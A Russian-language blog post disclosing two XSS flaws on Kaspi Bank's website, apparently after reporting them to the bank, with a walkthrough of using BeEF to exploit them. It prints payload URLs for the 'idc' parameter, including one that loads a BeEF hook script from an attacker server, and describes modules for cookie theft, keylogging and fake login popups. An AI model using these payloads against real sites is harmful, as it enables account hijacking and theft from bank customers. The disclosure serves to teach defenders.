caspicasoft

Web developer
HomeAbout

Уязвимость в Kaspi Bank (XSS+BeEF)

О проблемах я сообщил Каспи банку 18 дней назад. Длинный пост поделен на 2 части: обсуждение двух XSS уязвимостей на сайте банка и знакомство с BeEF.

XSS (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!

Первый XSS вектор - это неправильная обработка параметра idc.

hxxps://kaspi.kz/payments?idc=78xx"/><script>confirm(‘xss%20kaspi’);</script><meta%20x=“ image

Результат: постоянный (persistent) XSS, который сохраняется в течение всей сессии, даже если вы перейдете на другую страницу банка. image


Следующая уязвимость находится в поиске магазина. Сайт фильтрует многие тэги и атрибуты типа script, src, onerror, но не object и data. Мы можем вставить наш код, создав новый объект.

Здесь использую демо код с jsfiddle.net. image

Можно также создать объект с вредоносным PDF, Java, Flash или например простой картинкой. image


Теперь обсудим насколько легко использовать эти уязвимости.

The Browser Exploitation Framework (BeEF) – это средство для эксплуатаций браузеров которое содержит набор модулей.

BeEF “цепляет" браузер жертвы с помощью javascript кода, что позволяет выполнять различные действия. Браузер может быть настольным или мобильным. image

Вообще BeEF умеет делать очень продвинутые вещи (снимок с веб-камеры, запись аудио, атака на роутер и LAN, создание прокси и т.д.), но мы будем использовать модули для угона аккаунта и “развода” на деньги.

Готовим cсылку для жертвы: hxxps://kaspi.kz/payments?idc=666"/><script src=“http://192.168.1.111:3000/hook.js”></script><meta o=“

  • kaspi.kz – сайт куда вставляется зацепка для BeEF (hook)
  • 192.168.1.111 – сервер на котором установлен BeEF
  • 192.168.1.1 – IP адрес жертвы

Такую ссылку можно отправить пользователю банка, админу или CEO (так как сайт банка использует HTTPS, настоящие мошенники загрузят скрипт-зацепку на HTTPS сайт, чтобы браузер жертвы не жаловался на активное смешанное содержимое).

Отправив ссылку, нужно зайти на наш сервер. BeEF идет вместе с удобной админ-панелью (логин/пароль по умолчанию beef/beef). image

После авторизаций, вы имеете доступ ко всем “зацепленным” браузерам. Здесь вы видите куки, данные ОС, список плагинов и т.д. image

Вы также видите, что делает жертва на странице (неплохой кейлогер). image

Тем временем, пользователь ничего не подозревает… image

Но нам необязательно читать журнал событий, ведь перехват данных формы не составляет большого труда. Есть готовый модуль. image

Вы всегда можете разработать свой модуль для BeEF. Также, многие модули идут с шаблонами, которые легко изменить под себя. Далее, пример показа всплывающего окна для перехвата пары логин/пароль. image

У вас есть возможность видеть содержимое браузера жертвы. То есть можете скачать весь HTML код либо сделать скриншот реальной страницы. image

Пример редактирования конкретного компонента страницы. image

Авторы модулей для BeEF – люди не без юмора. image

Вот и все. Надеюсь разработчики и владельцы сайтов теперь понимают чем может обернуться для пользователей простой или постоянный XSS.

P.S. Был ли заражен ваш браузер в прошлом, можно проверить здесь.